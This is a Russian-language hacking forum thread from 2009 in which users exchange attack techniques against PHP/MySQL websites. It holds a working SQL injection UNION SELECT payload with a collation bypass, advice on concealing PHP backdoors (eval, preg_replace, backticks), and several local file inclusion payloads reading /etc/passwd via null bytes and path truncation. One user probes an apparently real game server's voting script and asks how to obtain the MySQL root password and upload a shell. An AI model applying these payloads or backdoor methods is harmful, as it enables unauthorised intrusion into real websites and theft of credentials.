
09.12.2009, 18:30
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
делай тогда как l1ght говорит и на будущее всегда юзай stripslashes, как сказал HAXTA4OK
|
|
|

09.12.2009, 18:50
|
|
Участник форума
Регистрация: 01.08.2009
Сообщений: 183
С нами:
8829763
Репутация:
131
|
|
Illegal mix of collations for operation 'UNION'
Данную ошибку выдаёт при запросе:
UNION+SELECT+1,2,3,4,5,6,7,8,9,table_name,11+from+ information_schema.tables--
|
|
|

09.12.2009, 18:54
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
С нами:
10441826
Репутация:
1861
|
|
Сообщение от Nightmarе
Да, забыл уточнить, когда делаем шелл в скриптах через Eval, то как лучше делать ?
Eval(stripslashes());
или
Eval(base64_decode());
Что посоветуете из этого? Я склоняюсь ко второму варианту но... хз хз
Лучше евалом не бекдорить, используй альтернативные функции, типа preg_replace(), `` и т.п. . А насчет твоих вариантов, не вижу каких-либо преимуществ base64_decode, лишняя морока только... Ты ведь постом будешь отправлять команды бекдору?
Сообщение от DeluxeS
Данную ошибку выдаёт при запросе:
Код:
UNION+SELECT+1,2,3,4,5,6,7,8,9,unhex(hex(table_name)),11+from+ information_schema.tables--
P.S. кучу раз это уже описывалось
|
|
|

09.12.2009, 22:26
|
|
Новичок
Регистрация: 22.10.2009
Сообщений: 3
С нами:
8712511
Репутация:
1
|
|
Здравствуйте.
есть вот такой код:
PHP код:
<?php
$lfi = $_GET['lfi'];
include ('page'.$lfi.'.php');
?>
возможно ли в данном случае проинклудить локальный фаил?(к примеру passwd). Если да то как?
и еще один момент:
PHP код:
<?php
if (file_exists('./path/'.$_GET['lfi'].'.php')) {
include ('./path/'.$_GET['lfi'].'.php');
}
?>
так же интересует возможность инклуда произвольного файла.
Пытаюсь отсечь расширение с помощью %00, ? и т.п. не помогает.
Последний раз редактировалось eliteload; 09.12.2009 в 22:28..
|
|
|

09.12.2009, 22:37
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами:
9419426
Репутация:
648
|
|
Сообщение от eliteload
Здравствуйте.
есть вот такой код:
PHP код:
<?php
$lfi = $_GET['lfi'];
include ('page'.$lfi.'.php');
?>
возможно ли в данном случае проинклудить локальный фаил?(к примеру passwd). Если да то как?
и еще один момент:
PHP код:
<?php
if (file_exists('./path/'.$_GET['lfi'].'.php')) {
include ('./path/'.$_GET['lfi'].'.php');
}
?>
так же интересует возможность инклуда произвольного файла.
Пытаюсь отсечь расширение с помощью %00, ? и т.п. не помогает.
?lfi=../../../../../../../etc/passwd%00
ИЛИ
?lfi=../../../../../../../etc/passwd///////[4096 раз /]///////////
|
|
|

09.12.2009, 22:47
|
|
Новичок
Регистрация: 22.10.2009
Сообщений: 3
С нами:
8712511
Репутация:
1
|
|
Root-access, я так понял это ответ на первый вопрос?
Если вы внимательно посмотрите там происходит контактация.
Используя ваш пример на выходе получается :
include('page../../../../../../../etc/passwd%00.php');
что естественно вызовет ошибку. Т.к фаил page../../../../../../../etc/passwd не существует
Последний раз редактировалось eliteload; 09.12.2009 в 22:50..
|
|
|

10.12.2009, 12:46
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами:
9419426
Репутация:
648
|
|
Сообщение от eliteload
Root-access, я так понял это ответ на первый вопрос?
Если вы внимательно посмотрите там происходит контактация.
Используя ваш пример на выходе получается :
include('page../../../../../../../etc/passwd%00.php');
что естественно вызовет ошибку. Т.к фаил page../../../../../../../etc/passwd не существует
Ну так можно ж еще слеш добавить в начале:
?lfi=/../../../../../../../etc/passwd%00
Iceangel_: разве это изменит ситуацию?
Последний раз редактировалось Iceangel_; 10.12.2009 в 14:26..
|
|
|

10.12.2009, 14:24
|
|
Постоянный
Регистрация: 09.07.2006
Сообщений: 553
С нами:
10441826
Репутация:
1861
|
|
Сообщение от eliteload
Если вы внимательно посмотрите там происходит контактация.
Используя ваш пример на выходе получается :
include('page../../../../../../../etc/passwd%00.php');
что естественно вызовет ошибку. Т.к фаил page../../../../../../../etc/passwd не существует
В Windows это не проблема, в пути вполне могут находится несуществующие папки. А вот в Linux такое непозволительно, выходом из сложившейся ситуации может быть подобная конструкция:
Код:
include('page1.php/../../../../../../../etc/passwd%00.php');
При условии что файл page1.php существует, файл /etc/passwd будет проинклужен.
|
|
|

10.12.2009, 14:37
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
С нами:
9419426
Репутация:
648
|
|
Сообщение от Iceangel_
В Windows это не проблема, в пути вполне могут находится несуществующие папки. А вот в Linux такое непозволительно, выходом из сложившейся ситуации может быть подобная конструкция:
Код:
include('page1.php/../../../../../../../etc/passwd%00.php');
При условии что файл page1.php существует, файл /etc/passwd будет проинклужен.
Я на всякий случай проверил код - на gentoo linux сработало как с добавлением слеша, так и вообще без него, т.е. ?lfi=../../../../../../../../etc/passwd работает.
|
|
|

10.12.2009, 03:39
|
|
Новичок
Регистрация: 28.10.2006
Сообщений: 23
С нами:
10281445
Репутация:
1
|
|
Здравствуйте.
В общем есть сервачек игровой один, на его сайте вкручена система голосования. Вкручена она таким образом...
Пройдя по ссылке:
_xттп://_host_/vote/voting.php
Вы попадаете на страничку голосования , нечего особого эта страничка не представляет, формочка куда надо вписать логин и пара кнопок.
Внутри этой странички встроен JScript:
PHP код:
...
<script language="javascript" type="text/javascript">
function game(){
log=document.forms["form1"].login.value;
window.open('http://_host_/vote/game.php?login='+log);
window.open('http://сайт_сюда_перекидывает');
}
<script>
...
<form name="form1">
<input type="text" name="login">
<input type="hidden" id="vid" name="id">
...
<input type="button" value="Проголосовать" onclick="game()">
...
значит после того как вы вписываете логин и тискаете кнопку "проголосовать", у вас открывается две страницы, одна из которых (_хттп://_host_/vote/game.php?login=логин) содержит содержит сообщение о том, что вам была вставлена кука и проголосовать повторно вы не сможете в течении "X" времени.
Кука выглядит вот так:
PHP код:
vote gday: 10
vote gh:00
vote gm:55
vote gmount: 12
Если исправить значения куки, допустим значение "vote gday" изменить с "10" на "фывфы" или на " ' " и перегрузить (_хттп://_host_/vote/game.php?login= Логин)
то выдает страницу с следующим текстом:
Warning: mktime() expects parameter 5 to be long, string given in /var/www/_host_/vote/game.php on line 23
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 27
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 28
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 29
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 30
Логин , спасибо за ваш голос ...
Если же перегрузить страницу без указания конкретного значения Login (_хттп://_host_/vote/game.php?login= ), то выдает страницу с таким тестом:
Warning: mktime() expects parameter 5 to be long, string given in /var/www/_host_/vote/game.php on line 23
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 27
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 28
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 29
Warning: Cannot modify header information - headers already sent by (output started at /var/www/_host_/vote/game.php:23) in /var/www/_host_/vote/game.php on line 30
, спасибо за ваш голос ...
Warning: mysql_result() [function.mysql-result]: Unable to jump to row 0 on MySQL result index 2 in /var/www/_host_/vote/script.php on line 8
изменяя значения (gday,gh,gm,gmount):
PHP код:
vote gday: 10
vote gh:00
vote gm:55
vote gmount: 12
в результате страница ничем почти не изменяется, кроме первой записи:
Warning: mktime() expects parameter ->5 (1,2,3)<- to be long, string given in /var/www/_host_/vote/game.php on line 23
насколько я понимаю значения кук попадает в функцию mktime() в виде параметров, функция не может воспринять передаваемые параметры и выдает ошибку.
Терь вопрос является ли эта вся штука уязвимостью и как эту уязвимость можно использывать, имеетли место sql-inj и можно ли как нибудь достать расс рута mysql? Можно ли как нить залить шелл?
Пробовал через телнет конектится к серваку на 3306, оказалось что открыт удаленный доступ к MySQL.
Насколько мне известно на серваке (Unix,little-endian).
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|